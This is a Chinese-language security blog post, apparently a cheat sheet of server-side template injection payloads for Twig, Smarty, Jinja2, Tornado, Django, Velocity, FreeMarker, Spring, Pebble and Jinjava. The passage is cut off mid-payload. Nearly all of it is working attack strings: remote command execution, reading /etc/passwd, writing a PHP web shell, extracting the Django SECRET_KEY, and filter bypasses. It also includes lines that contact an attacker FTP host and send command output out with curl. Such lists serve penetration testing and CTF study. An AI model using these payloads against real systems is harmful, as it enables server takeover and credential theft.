<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      SSTI payload记录 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        SSTI payload记录
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2022-03-29
      </span>

                                                                        <span class="post-pubtime"> 本文共3k字 </span>

                                                                        <span class="post-pubtime">
        大约需要26min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/WEB/" title="WEB">
            <b>#</b> WEB
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p><img src="/2022/03/29/SSTI/1344396-20200911174631687-758048107.png" alt="img"></p>
<p>[toc]</p>
<h1 id="1-PHP中的ssti"><a href="#1-PHP中的ssti" class="headerlink" title="1.PHP中的ssti"></a>1.PHP中的ssti</h1><h2 id="Twig框架"><a href="#Twig框架" class="headerlink" title="Twig框架"></a>Twig框架</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;&#125;&#125;:输出</span><br><span class="line"></span><br><span class="line">&#123;# 注释 #&#125;:注释</span><br><span class="line"></span><br><span class="line">&#123;% %&#125;：逻辑运算</span><br><span class="line">循环：</span><br><span class="line">&#123;% for word in words %&#125;</span><br><span class="line">	&#123;&#123; word &#125;&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>测试用payload:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;<span class="number">2</span>*<span class="number">2</span>**<span class="number">3</span>&#125;&#125; = <span class="number">16</span></span><br><span class="line">&#123;<span class="comment"># 这里要注意的是，#要写成%23，不然会被浏览器当成锚点 #&#125;</span></span><br><span class="line">&#123;&#123;<span class="number">2</span>*<span class="number">2</span>**<span class="number">3</span>&#125;&#125;&#123;%<span class="number">23</span>%<span class="number">20</span>注释不会显示%<span class="number">20</span>%<span class="number">23</span>&#125; = <span class="number">16</span></span><br><span class="line">$&#123;<span class="number">7</span>*<span class="number">7</span>&#125; = $&#123;<span class="number">7</span>*<span class="number">7</span>&#125;</span><br><span class="line">&#123;&#123;<span class="number">7</span>*<span class="string">&#x27;7&#x27;</span>&#125;&#125; = <span class="number">49</span></span><br><span class="line">&#123;&#123;<span class="number">1</span>/<span class="number">0</span>&#125;&#125; = <span class="built_in">Error</span></span><br><span class="line">&#123;&#123;foobar&#125;&#125; Nothing</span><br><span class="line"></span><br><span class="line">&#123;<span class="comment"># Get Info #&#125;</span></span><br><span class="line">&#123;&#123;_self&#125;&#125; <span class="comment">#(Ref. to current application)</span></span><br><span class="line">&#123;&#123;_self.env&#125;&#125;</span><br><span class="line">&#123;&#123;dump(app)&#125;&#125;</span><br><span class="line">&#123;&#123;app.request.server.all|join(<span class="string">&#x27;,&#x27;</span>)&#125;&#125;</span><br><span class="line"></span><br><span class="line">&#123;<span class="comment"># File read #&#125;</span></span><br><span class="line"><span class="string">&quot;&#123;&#123;&#x27;/etc/passwd&#x27;|file_excerpt(1,30)&#125;&#125;&quot;</span>@</span><br><span class="line"></span><br><span class="line">&#123;<span class="comment"># Exec code #&#125;</span></span><br><span class="line">&#123;&#123;_self.env.setCache(<span class="string">&quot;ftp://attacker.net:2121&quot;</span>)&#125;&#125;&#123;&#123;_self.env.loadTemplate(<span class="string">&quot;backdoor&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;_self.env.registerUndefinedFilterCallback(<span class="string">&quot;exec&quot;</span>)&#125;&#125;&#123;&#123;_self.env.getFilter(<span class="string">&quot;id&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;_self.env.registerUndefinedFilterCallback(<span class="string">&quot;system&quot;</span>)&#125;&#125;&#123;&#123;_self.env.getFilter(<span class="string">&quot;whoami&quot;</span>)&#125;&#125;</span><br><span class="line">&lt;<span class="comment">#assign ex=&quot;freemarker.template.utility.Execute&quot;?new()&gt; $&#123; ex(&quot;cat /etc/passwd&quot;) &#125;</span></span><br><span class="line">&#123;&#123;[<span class="string">&#x27;id&#x27;</span>]|filter(<span class="string">&#x27;system&#x27;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="string">&#x27;cat\x20/etc/passwd&#x27;</span>]|filter(<span class="string">&#x27;system&#x27;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="string">&#x27;cat$IFS/etc/passwd&#x27;</span>]|filter(<span class="string">&#x27;system&#x27;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>]|map(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>, <span class="number">0</span>]|sort(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>]|filter(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="number">0</span>, <span class="number">0</span>]|reduce(<span class="string">&quot;system&quot;</span>, <span class="string">&quot;id&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;&#123;<span class="string">&quot;php phpinfo();&quot;</span>:<span class="string">&quot;/var/www/html/shell.php&quot;</span>&#125;|map(<span class="string">&quot;file_put_contents&quot;</span>)&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">全版本通用payload：</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>]|map(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>, <span class="number">0</span>]|sort(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="string">&quot;id&quot;</span>]|filter(<span class="string">&quot;system&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;[<span class="number">0</span>, <span class="number">0</span>]|reduce(<span class="string">&quot;system&quot;</span>, <span class="string">&quot;id&quot;</span>)|join(<span class="string">&quot;,&quot;</span>)&#125;&#125;</span><br><span class="line">&#123;&#123;&#123;<span class="string">&quot;&lt;?php phpinfo();&quot;</span>:<span class="string">&quot;/var/www/html/shell.php&quot;</span>&#125;|map(<span class="string">&quot;file_put_contents&quot;</span>)&#125;&#125;</span><br></pre></td></tr></table></figure>

<h2 id="Smarty框架"><a href="#Smarty框架" class="headerlink" title="Smarty框架"></a>Smarty框架</h2><p>payload：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//文件读</span></span><br><span class="line">&#123;<span class="built_in">self</span>::getStreamVariable(<span class="string">&quot;file:///etc/passwd&quot;</span>)&#125;</span><br><span class="line"><span class="comment">//other</span></span><br><span class="line">&#123;<span class="variable">$smarty</span>.version&#125;  <span class="comment">#获取smarty的版本号</span></span><br><span class="line">&#123;php&#125;phpinfo();&#123;/php&#125;  <span class="comment">#执行相应的php代码，在Smarty3版本中已经废弃&#123;php&#125;标签，强烈建议不要使用。在Smarty 3.1，&#123;php&#125;仅在SmartyBC中可用。</span></span><br><span class="line">&#123;<span class="keyword">if</span> phpinfo()&#125;&#123;/<span class="keyword">if</span>&#125;    <span class="comment"># 执行相应的php代码</span></span><br><span class="line">&#123;<span class="built_in">self</span>::getStreamVariable(<span class="string">&quot;file:///etc/passwd&quot;</span>)&#125; <span class="comment"># 任意文件读取</span></span><br><span class="line">&#123;Smarty_Internal_Write_File::writeFile(<span class="variable">$SCRIPT_NAME</span>,<span class="string">&quot;&lt;?php passthru(<span class="subst">$_GET</span>[&#x27;cmd&#x27;]); ?&gt;&quot;</span>,<span class="built_in">self</span>::clearConfig())&#125; <span class="comment"># 文件写入</span></span><br><span class="line">&#123;system(<span class="string">&#x27;ls&#x27;</span>)&#125; <span class="comment"># compatible v3</span></span><br><span class="line">&#123;system(<span class="string">&#x27;cat index.php&#x27;</span>)&#125; <span class="comment"># compatible v3</span></span><br><span class="line">&#123;literal&#125;alert(<span class="string">&#x27;xss&#x27;</span>);&#123;/literal&#125; <span class="comment"># XSS</span></span><br></pre></td></tr></table></figure>

<h1 id="2-python中的ssti"><a href="#2-python中的ssti" class="headerlink" title="2.python中的ssti"></a>2.python中的ssti</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">__class__  返回示例所属的类</span><br><span class="line">__mro__    返回一个类所继承的基类元组，方法在解析时按照元组的顺序解析。</span><br><span class="line">__base__   返回一个类所继承的基类,返回字符串类型    <span class="comment"># __base__和__mro__都是用来寻找基类的</span></span><br><span class="line">__bases__  元组类型返回</span><br><span class="line">__subclasses__   每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用列表</span><br><span class="line">__init__  类的初始化方法</span><br><span class="line">__globals__  对包含函数全局变量的字典的引用</span><br></pre></td></tr></table></figure>

<p>通用的一些payload，版本不同排序不同</p>
<h2 id="0-通用"><a href="#0-通用" class="headerlink" title="0.通用"></a>0.通用</h2><h3 id="os-wrap-close中的popen-py2不行"><a href="#os-wrap-close中的popen-py2不行" class="headerlink" title="os._wrap_close中的popen(py2不行)"></a>os._wrap_close中的popen(py2不行)</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;</span>.__class__.__bases__[<span class="number">0</span>].__subclasses__()[<span class="number">128</span>].__init__.__globals__[<span class="string">&#x27;popen&#x27;</span>](<span class="string">&#x27;whoami&#x27;</span>).read()</span><br><span class="line"><span class="string">&quot;&quot;</span>.__class__.__bases__[<span class="number">0</span>].__subclasses__()[<span class="number">128</span>].__init__.__globals__.popen(<span class="string">&#x27;whoami&#x27;</span>).read()</span><br></pre></td></tr></table></figure>

<h3 id="os中popen"><a href="#os中popen" class="headerlink" title="os中popen"></a>os中popen</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()</span><br></pre></td></tr></table></figure>

<h3 id="import-中os-py2不行"><a href="#import-中os-py2不行" class="headerlink" title="__import__中os(py2不行)"></a><code>__import__</code>中os(py2不行)</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&quot;</span>.__class__.__bases__[<span class="number">0</span>].__subclasses__()[<span class="number">75</span>].__init__.__globals__.<span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).popen(<span class="string">&#x27;whoami&#x27;</span>).read()</span><br></pre></td></tr></table></figure>







<h2 id="1-Jinjia2"><a href="#1-Jinjia2" class="headerlink" title="1.Jinjia2"></a>1.Jinjia2</h2><p>以Django的模板为模型的，是Flask框架的一部分。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> [].__class__.__base__.__subclasses__():</span><br><span class="line">    <span class="keyword">if</span> c.__name__ == <span class="string">&#x27;catch_warnings&#x27;</span>:</span><br><span class="line">        <span class="keyword">for</span> b <span class="keyword">in</span> c.__init__.__globals__.values():</span><br><span class="line">            <span class="keyword">if</span> b.__class__ == &#123;&#125;.__class__:</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&#x27;eval&#x27;</span> <span class="keyword">in</span> b.keys():</span><br><span class="line">                    <span class="built_in">print</span>(b[<span class="string">&#x27;eval&#x27;</span>](<span class="string">&#x27;__import__(&quot;os&quot;).popen(&quot;whoami&quot;).read()&#x27;</span>))</span><br></pre></td></tr></table></figure>



<p>以上payload转为jinjis2：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;</span><br><span class="line">&#123;% if c.__name__ == &#x27;catch_warnings&#x27; %&#125;</span><br><span class="line">  &#123;% for b in c.__init__.__globals__.values() %&#125;</span><br><span class="line">  &#123;% if b.__class__ == &#123;&#125;.__class__ %&#125;</span><br><span class="line">    &#123;% if &#x27;eval&#x27; in b.keys() %&#125;</span><br><span class="line">      &#123;&#123; b[&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).popen(&quot;whoami&quot;).read()&#x27;) &#125;&#125;</span><br><span class="line">    &#123;% endif %&#125;</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">  &#123;% endfor %&#125;</span><br><span class="line">&#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br></pre></td></tr></table></figure>

<h3 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h3><p>过滤<code>[</code>:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;# getitem、pop #&#125;</span><br><span class="line">&#123;&#123; &#x27;&#x27;.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(&#x27;/etc/passwd&#x27;).read() &#125;&#125;</span><br><span class="line">&#123;&#123; &#x27;&#x27;.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(&#x27;ls&#x27;).read() &#125;&#125;</span><br></pre></td></tr></table></figure>

<p>过滤&#96;&#96;:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&#123;# chr函数 #&#125;</span><br><span class="line">&#123;% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %&#125;</span><br><span class="line">&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()&#125;&#125;#request对象</span><br><span class="line">&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() &#125;&#125;&amp;path=/etc/passwd</span><br><span class="line"></span><br><span class="line">&#123;# 命令执行 #&#125;</span><br><span class="line">&#123;% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %&#125;</span><br><span class="line">&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() &#125;&#125;</span><br><span class="line">&#123;&#123;().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() &#125;&#125;&amp;cmd=id</span><br></pre></td></tr></table></figure>

<p>过滤下划线：(使用<code>request.args</code>)</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;&#x27;&#x27;[request.args.class][request.args.mro][2][request.args.subclasses]()[40](&#x27;/etc/passwd&#x27;).read() &#125;&#125;</span><br></pre></td></tr></table></figure>

<p>过滤花括号：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#用&#123;%%&#125;标记</span><br><span class="line">&#123;% if &#x27;&#x27;.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(&#x27;curl http://127.0.0.1:7999/?i=`whoami`&#x27;).read()==&#x27;p&#x27; %&#125;1&#123;% endif %&#125;</span><br></pre></td></tr></table></figure>

<h2 id="2-tornado"><a href="#2-tornado" class="headerlink" title="2.tornado"></a>2.tornado</h2><p>tornado render是python中的一个渲染函数，也就是一种模板，通过调用的参数不同，生成不同的网页，如果用户对render内容可控，不仅可以注入XSS代码，而且还可以通过<code>&#123;&#123;&#125;&#125;</code>进行传递变量和执行简单的表达式。</p>
<p>payload:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;% <span class="keyword">import</span> foobar %&#125; = Error</span><br><span class="line">&#123;% <span class="keyword">import</span> os %&#125;&#123;&#123;os.system(<span class="string">&#x27;whoami&#x27;</span>)&#125;&#125;</span><br></pre></td></tr></table></figure>

<h2 id="3-Djanjo"><a href="#3-Djanjo" class="headerlink" title="3.Djanjo"></a>3.Djanjo</h2><p>这个比较难利用，条件被限制的很死，很难执行命令；但Django自带的应用 “admin”（也就是Django自带的后台）的<code>models.py</code>中导入了当前网站的配置文件，可以通过某种方式，找到Django默认应用admin的model，再通过这个model获取settings对象，进而获取数据库账号密码、Web加密密钥等信息。</p>
<figure class="highlight django"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="xml">&#123;user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY&#125;</span></span><br><span class="line"><span class="xml">&#123;user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY&#125;</span></span><br></pre></td></tr></table></figure>

<h1 id="3-Java中ssti"><a href="#3-Java中ssti" class="headerlink" title="3.Java中ssti"></a>3.Java中ssti</h1><h2 id="1-Velocity"><a href="#1-Velocity" class="headerlink" title="1.Velocity"></a>1.Velocity</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#set($e=&quot;e&quot;);$e.getClass().forName(&quot;java.lang.Runtime&quot;).getMethod(&quot;getRuntime&quot;,null).invoke(null,null).exec(&quot;calc&quot;)$class.inspect(&quot;java.lang.Runtime&quot;).type.getRuntime().exec(&quot;sleep 5&quot;).waitFor()    // CVE-2019-3396</span><br><span class="line">#set($str=$class.inspect(&quot;java.lang.String&quot;).type)</span><br><span class="line">#set($chr=$class.inspect(&quot;java.lang.Character&quot;).type)</span><br><span class="line">#set($ex=$class.inspect(&quot;java.lang.Runtime&quot;).type.getRuntime().exec(&quot;whoami&quot;))</span><br><span class="line">$ex.waitFor()</span><br><span class="line">#set($out=$ex.getInputStream())</span><br><span class="line">#foreach($i in [1..$out.available()])</span><br><span class="line">$str.valueOf($chr.toChars($out.read()))</span><br><span class="line">#end</span><br></pre></td></tr></table></figure>

<h2 id="2-FreeMarker"><a href="#2-FreeMarker" class="headerlink" title="2.FreeMarker"></a>2.FreeMarker</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">49</span> = <span class="number">49</span></span><br><span class="line">$&#123;<span class="number">7</span>*<span class="number">7</span>&#125; = <span class="number">49</span></span><br><span class="line">#&#123;<span class="number">7</span>*<span class="number">7</span>&#125; = <span class="number">49</span> -- (legacy)</span><br><span class="line">$&#123;<span class="number">7</span>*<span class="string">&#x27;7&#x27;</span>&#125; Nothing</span><br><span class="line">$&#123;foobar&#125;</span><br><span class="line"></span><br><span class="line">  &lt;#assign ex=<span class="string">&quot;freemarker.template.utility.Execute&quot;</span> ?<span class="keyword">new</span>()=<span class="string">&quot;&quot;</span>&gt;$&#123; ex(<span class="string">&quot;id&quot;</span>)&#125;</span><br><span class="line">  [#assign ex = <span class="string">&#x27;freemarker.template.utility.Execute&#x27;</span>?<span class="keyword">new</span>()]$&#123; ex(<span class="string">&#x27;id&#x27;</span>)&#125;</span><br><span class="line">  $&#123;<span class="string">&quot;freemarker.template.utility.Execute&quot;</span>?<span class="keyword">new</span>()(<span class="string">&quot;id&quot;</span>)&#125;</span><br><span class="line"></span><br><span class="line">  $&#123;product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(<span class="string">&#x27;/home/carlos/my_password.txt&#x27;</span>).toURL().openStream().readAllBytes()?join(<span class="string">&quot; &quot;</span>)&#125;</span><br></pre></td></tr></table></figure>

<h2 id="3-Spring-View-Manipulation"><a href="#3-Spring-View-Manipulation" class="headerlink" title="3.Spring View Manipulation"></a>3.Spring View Manipulation</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">__$&#123;<span class="keyword">new</span> java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(<span class="string">&quot;id&quot;</span>).getInputStream()).next()&#125;__::.x</span><br><span class="line">__$&#123;T(java.lang.Runtime).getRuntime().exec(<span class="string">&quot;touch executed&quot;</span>)&#125;__::.x</span><br></pre></td></tr></table></figure>

<h2 id="4-Pebble"><a href="#4-Pebble" class="headerlink" title="4.Pebble"></a>4.Pebble</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test</span></span><br><span class="line">&#123;&#123; someString.toUPPERCASE() &#125;&#125;</span><br><span class="line"><span class="comment">//低版本</span></span><br><span class="line">&#123;&#123; variable.getClass().forName(<span class="string">&#x27;java.lang.Runtime&#x27;</span>).getRuntime().exec(<span class="string">&#x27;ls -la&#x27;</span>) &#125;&#125;</span><br><span class="line"><span class="comment">//高版本</span></span><br><span class="line">&#123;% set cmd = <span class="string">&#x27;id&#x27;</span> %&#125;</span><br><span class="line">&#123;% set bytes = (<span class="number">1</span>).TYPE</span><br><span class="line">     .forName(<span class="string">&#x27;java.lang.Runtime&#x27;</span>)</span><br><span class="line">     .methods[<span class="number">6</span>]</span><br><span class="line">     .invoke(<span class="keyword">null</span>,<span class="keyword">null</span>)</span><br><span class="line">     .exec(cmd)</span><br><span class="line">     .inputStream</span><br><span class="line">     .readAllBytes() %&#125;</span><br><span class="line">&#123;&#123; (<span class="number">1</span>).TYPE</span><br><span class="line">     .forName(<span class="string">&#x27;java.lang.String&#x27;</span>)</span><br><span class="line">     .constructors[<span class="number">0</span>]</span><br><span class="line">     .newInstance(([bytes]).toArray()) &#125;&#125;</span><br></pre></td></tr></table></figure>

<h2 id="5-Jinjava"><a href="#5-Jinjava" class="headerlink" title="5.Jinjava"></a>5.Jinjava</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#123;<span class="string">&#x27;a&#x27;</span>.toUpperCase()&#125;&#125; = <span class="string">&#x27;A&#x27;</span></span><br><span class="line">&#123;&#123; request &#125;&#125; = 会返回一个request对象形如 com.[...].context.TemplateContextRequest@<span class="number">23548206</span></span><br><span class="line"><span class="comment">//RCE</span></span><br><span class="line">&#123;&#123;<span class="string">&#x27;a&#x27;</span>.getClass().forName(<span class="string">&#x27;javax.script.ScriptEngineManager&#x27;</span>).newInstance().getEngineByName(<span class="string">&#x27;JavaScript&#x27;</span>).eval(\<span class="string">&quot;new 